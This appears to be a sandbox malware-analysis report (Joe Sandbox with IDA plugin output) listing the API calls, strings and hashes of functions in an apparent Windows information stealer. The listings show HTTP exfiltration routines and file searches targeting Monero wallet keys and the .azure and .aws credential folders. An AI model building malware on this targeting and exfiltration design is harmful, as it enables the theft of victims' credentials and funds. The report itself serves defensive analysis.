Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 9154635aca1254e9755a7d14835d5cc468858e12ae5cf4b420dfaa4bba6d3908
Instruction ID: 2e755c2b0caea23c46c2020c28e7b395331af1b3417e712807985a12cf718ea9
Opcode Fuzzy Hash: 9154635aca1254e9755a7d14835d5cc468858e12ae5cf4b420dfaa4bba6d3908
Instruction Fuzzy Hash: 0A124F71910118DBCB18FBA0ED96EEE7338BF54301F404128F116A7091EF39AE49EB62

Function 00F15960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
Part of subcall function 00F147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00F159F8
StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F15A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F15B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0089E5A0,00000000,?,00899CF8,00000000,?,00F31A1C), ref: 00F15E71
lstrlen.KERNEL32(00000000), ref: 00F15E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00F15E93
RtlAllocateHeap.NTDLL(00000000), ref: 00F15E9A
lstrlen.KERNEL32(00000000), ref: 00F15EAF
lstrlen.KERNEL32(00000000), ref: 00F15ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00F15EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00F15F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00F15F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00F15F4C
InternetCloseHandle.WININET(00000000), ref: 00F15FB0
InternetCloseHandle.WININET(00000000), ref: 00F15FBD
HttpOpenRequestA.WININET(00000000,0089E520,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F15BF8

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

InternetCloseHandle.WININET(00000000), ref: 00F15FC7

Strings

------, xrefs: 00F15C0B
------, xrefs: 00F15D4C
------, xrefs: 00F15A96
", xrefs: 00F15E16
", xrefs: 00F15CD5

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: dbaab28f7789604362c6c161a171607a7ce20b75e7beb64877c11ce92f23d9cd
Instruction ID: 72695fd5576a2e3ac309d69348ad18e7fa57bc66a7abbfd6f864dc44e5e6dae6
Opcode Fuzzy Hash: dbaab28f7789604362c6c161a171607a7ce20b75e7beb64877c11ce92f23d9cd
Instruction Fuzzy Hash: 96120171820128EBDB15EBA0EC96FEE7378BF14700F5041A9F10667091EF746A89DF65

Function 00F1CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F28B60: GetSystemTime.KERNEL32(00F30E1A,00899A28,00F305AE,?,?,00F113F9,?,0000001A,00F30E1A,00000000,?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F28B86

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F1CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00F1D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00F1D0CE
lstrcat.KERNEL32(?,00000000), ref: 00F1D208
lstrcat.KERNEL32(?,00F31478), ref: 00F1D217
lstrcat.KERNEL32(?,00000000), ref: 00F1D22A
lstrcat.KERNEL32(?,00F3147C), ref: 00F1D239
lstrcat.KERNEL32(?,00000000), ref: 00F1D24C
lstrcat.KERNEL32(?,00F31480), ref: 00F1D25B
lstrcat.KERNEL32(?,00000000), ref: 00F1D26E
lstrcat.KERNEL32(?,00F31484), ref: 00F1D27D
lstrcat.KERNEL32(?,00000000), ref: 00F1D290
lstrcat.KERNEL32(?,00F31488), ref: 00F1D29F
lstrcat.KERNEL32(?,00000000), ref: 00F1D2B2
lstrcat.KERNEL32(?,00F3148C), ref: 00F1D2C1
lstrcat.KERNEL32(?,00000000), ref: 00F1D2D4
lstrcat.KERNEL32(?,00F31490), ref: 00F1D2E3

Part of subcall function 00F2A820: lstrlen.KERNEL32(00F14F05,?,?,00F14F05,00F30DDE), ref: 00F2A82B
Part of subcall function 00F2A820: lstrcpy.KERNEL32(00F30DDE,00000000), ref: 00F2A885

lstrlen.KERNEL32(?), ref: 00F1D32A
lstrlen.KERNEL32(?), ref: 00F1D339

Part of subcall function 00F2AA70: StrCmpCA.SHLWAPI(00898810,00F1A7A7,?,00F1A7A7,00898810), ref: 00F2AA8F

DeleteFileA.KERNEL32(00000000), ref: 00F1D3B4

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: f703275be4333d51e384b2767aeccc15485cf17b514e56943c0726891b265a29
Instruction ID: b737f696560fc1eb79a41c4516d485a07a25e4b87bdb57128175cbc4dc45c830
Opcode Fuzzy Hash: f703275be4333d51e384b2767aeccc15485cf17b514e56943c0726891b265a29
Instruction Fuzzy Hash: 74E15071950218EBCB18EBA0ED96EEE7378BF14301F104168F117A7095DE39AE45EB62

Function 00F28320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

RegOpenKeyExA.KERNEL32(00000000,0089AAA0,00000000,00020019,00000000,00F305B6), ref: 00F283A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F28426
wsprintfA.USER32 ref: 00F28459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00F2847B
RegCloseKey.ADVAPI32(00000000), ref: 00F2848C
RegCloseKey.ADVAPI32(00000000), ref: 00F28499

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Strings

%s\%s, xrefs: 00F2844D
?, xrefs: 00F2837A
- , xrefs: 00F285A3

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: bb45835d1cce57fd6cfc22e317da224859982994765643f27b2e43c5d6dc3044
Instruction ID: 71ce6077aa69d150dc5cd1c51e40ded9b40d8b11df08a3bb1bf4982c10385c94
Opcode Fuzzy Hash: bb45835d1cce57fd6cfc22e317da224859982994765643f27b2e43c5d6dc3044
Instruction Fuzzy Hash: 8D811D7195122C9BDB28DB50DC91FEAB7B8BF48700F008299E109A6180DF756F85DF90

Function 00F16280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F14839
Part of subcall function 00F147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00F14849

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

InternetOpenA.WININET(00F30DFE,00000001,00000000,00000000,00000000), ref: 00F162E1
StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F16303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F16335
HttpOpenRequestA.WININET(00000000,GET,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F16385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F163BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F163D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00F163FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00F1646D
InternetCloseHandle.WININET(00000000), ref: 00F164EF
InternetCloseHandle.WININET(00000000), ref: 00F164F9
InternetCloseHandle.WININET(00000000), ref: 00F16503

Strings

ERROR, xrefs: 00F164C9
GET, xrefs: 00F1637C
ERROR, xrefs: 00F16407

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 4f369fc18dcc80cedcc30000fde990b5d3cc16c1089e31a5bc5974cce8e64a68
Instruction ID: 001c9f2d45c652ff22739510275c5e3af1348944f936890a5fe02938907b9103
Opcode Fuzzy Hash: 4f369fc18dcc80cedcc30000fde990b5d3cc16c1089e31a5bc5974cce8e64a68
Instruction Fuzzy Hash: AB714B71A40318EBDB24DBA0EC59BEE7778BF44700F1081A9F10AAB1C4DBB56A85DF51

Function 00F25510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A820: lstrlen.KERNEL32(00F14F05,?,?,00F14F05,00F30DDE), ref: 00F2A82B
Part of subcall function 00F2A820: lstrcpy.KERNEL32(00F30DDE,00000000), ref: 00F2A885

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F25644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F256A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F25857

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F251F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F25228

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F252C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F25318
Part of subcall function 00F252C0: lstrlen.KERNEL32(00000000), ref: 00F2532F
Part of subcall function 00F252C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00F25364
Part of subcall function 00F252C0: lstrlen.KERNEL32(00000000), ref: 00F25383
Part of subcall function 00F252C0: lstrlen.KERNEL32(00000000), ref: 00F253AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F2578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F25940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F25A0C
Sleep.KERNEL32(0000EA60), ref: 00F25A1B

Strings

ERROR, xrefs: 00F25849
ERROR, xrefs: 00F259FE
ERROR, xrefs: 00F25636
ERROR, xrefs: 00F25932
ERROR, xrefs: 00F25693
ERROR, xrefs: 00F2577D

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b05894c35ba59e796ce0959926807841e3499c776a27470c508a5b209d57bc87
Instruction ID: ea5cf898bb50ff9d5d79d7979c9a38176fa63d93b413df99ca6dfc84b07d21ee
Opcode Fuzzy Hash: b05894c35ba59e796ce0959926807841e3499c776a27470c508a5b209d57bc87
Instruction Fuzzy Hash: DEE112729102189BCB18FBA0FC57EFD7378AF54700F508128F51657095EF38AA59EBA2

Function 00F24D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F24DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00F24DCD

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F2492C
Part of subcall function 00F24910: FindFirstFileA.KERNEL32(?,?), ref: 00F24943

lstrcat.KERNEL32(?,00000000), ref: 00F24E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00F24E59

Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FDC), ref: 00F24971
Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FE0), ref: 00F24987
